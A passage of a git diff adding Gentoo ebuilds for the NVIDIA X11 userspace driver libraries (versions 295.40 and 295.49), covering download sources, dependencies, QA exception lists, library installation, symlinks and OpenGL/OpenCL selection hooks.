+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	if use gtk; then
+		doexe ${NV_EXEC}/nvidia-settings || die
+	fi
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.40.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.40.ebuild
new file mode 100644
index 00000000..72cf90fd
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.40.ebuild
@@ -0,0 +1,456 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	if use gtk; then
+		doexe ${NV_EXEC}/nvidia-settings || die
+	fi
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.49.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.49.ebuild
new file mode 100644
index 00000000..df7bcaea
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.49.ebuild
@@ -0,0 +1,453 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/libnvidia-ml.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
